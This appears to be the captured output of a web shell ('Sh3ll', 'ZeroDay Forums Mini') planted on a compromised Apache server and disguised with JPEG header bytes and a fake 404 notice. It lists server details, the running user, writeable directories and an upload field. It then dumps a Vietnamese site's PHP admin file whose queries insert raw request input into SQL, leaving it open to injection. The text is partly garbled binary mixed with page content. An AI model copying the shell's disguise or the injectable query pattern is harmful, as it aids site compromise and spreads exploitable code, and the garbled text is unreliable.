ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/homepage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/homepage/add_block.php
<?php

function showListMenus($categories, $parent_id = 0, $char = '',$arr_menu_check)
{
    // BƯỚC 2.1: LẤY DANH SÃCH CATE CON
    $cate_child = array();
    foreach ($categories as $key => $item)
    {
        // Nếu là chuyên mục con thì hiển thị
        if ($item['menus_parentid'] == $parent_id)
        {
            $cate_child[] = $item;
            unset($categories[$key]);
        }
    }

    // BƯỚC 2.2: HIỂN THỊ DANH SÃCH CHUYÊN MỤC CON NẾU CÓ
    if ($cate_child)
    {
        echo '<ul class="list-group" id="tree" style="font-size: 11px;">';
        foreach ($cate_child as $key => $item)
        {
            $checked= '';
            if(in_array($item['menus_id'],$arr_menu_check)){
                $checked = 'checked';
            }
            // Hiển thị tiêu đỠchuyên mục
            echo '<li class="list-group-item">
                <input type="checkbox" name="menus_id[]" value="'.$item['menus_id'].'" '.$checked.' /> '.$item['menus_name'];

            // Tiếp tục đệ quy để tìm chuyên mục con của chuyên mục đang lặp
            showListMenus($categories, $item['menus_id'], $char.' &nbsp; &nbsp; ',$arr_menu_check);
            echo '</li>';
        }
        echo '</ul>';
    }
}

$query = $DB->query("SELECT * FROM tb_menus WHERE menus_type='page' ORDER BY `menus_pos` ASC");
$arr_menus = array();
while($row = $DB->fetch_row($query))
{
    $arr_menus[] = $row;
}

$row_check = $DB->get_colum_tb('tb_block');
$block_id = 0;
if(isset($CORE->input['block_id']) && $CORE->input['block_id']>0){
    $block_id = $CORE->input['block_id'];
}
if($block_id>0){
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_block WHERE block_id='$block_id'"));
}

$arr_menu_check = array();
if($block_id==0){

}else{
    $q_menu = $DB->query("SELECT * FROM tb_block_page WHERE block_id='$block_id'");
    while ($r_menu = $DB->fetch_row($q_menu)){
        $arr_menu_check[] = $r_menu['menus_id'];
    }
}

if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];
    if($f['block_id']>0){
        $block_id = $f['block_id'];
        $DB->query("UPDATE tb_block SET block_title ='".$f['block_title']."',block_etitle='".$f['block_etitle']."', 	block_detail='".$f['block_detail']."',block_edetail='".$f['block_edetail']."' WHERE block_id='$block_id' ");
        //delete menu
        $DB->query("DELETE FROM tb_block_page WHERE block_id='$block_id' ");
        //insert menu
        $menus_id = $CORE->input['menus_id'];
        foreach ($menus_id as $val){
            $arr_insert2 = array('block_id'=>$block_id,'menus_id'=>$val);
            $DB->do_insert('tb_block_page',$arr_insert2);
        }
        $print->refresh('?act=admin&code=homepage&type=add_block&block_id='.$block_id);
    }else{
        $arr_insert = array('block_title'=>$f['block_title'],'block_etitle'=>$f['block_etitle'],'block_type'=>$f['block_type'],'block_detail'=>$f['block_detail'],'block_edetail'=>$f['block_edetail']);
        $block_id = $DB->do_insert('tb_block',$arr_insert);

        //insert menu
        $menus_id = $CORE->input['menus_id'];
        foreach ($menus_id as $val){
            $arr_insert2 = array('block_id'=>$block_id,'menus_id'=>$val);
            $DB->do_insert('tb_block_page',$arr_insert2);
        }

    }
    $print->refresh('?act=admin&code=homepage&type=block_home');
}
?>

ZeroDay Forums Mini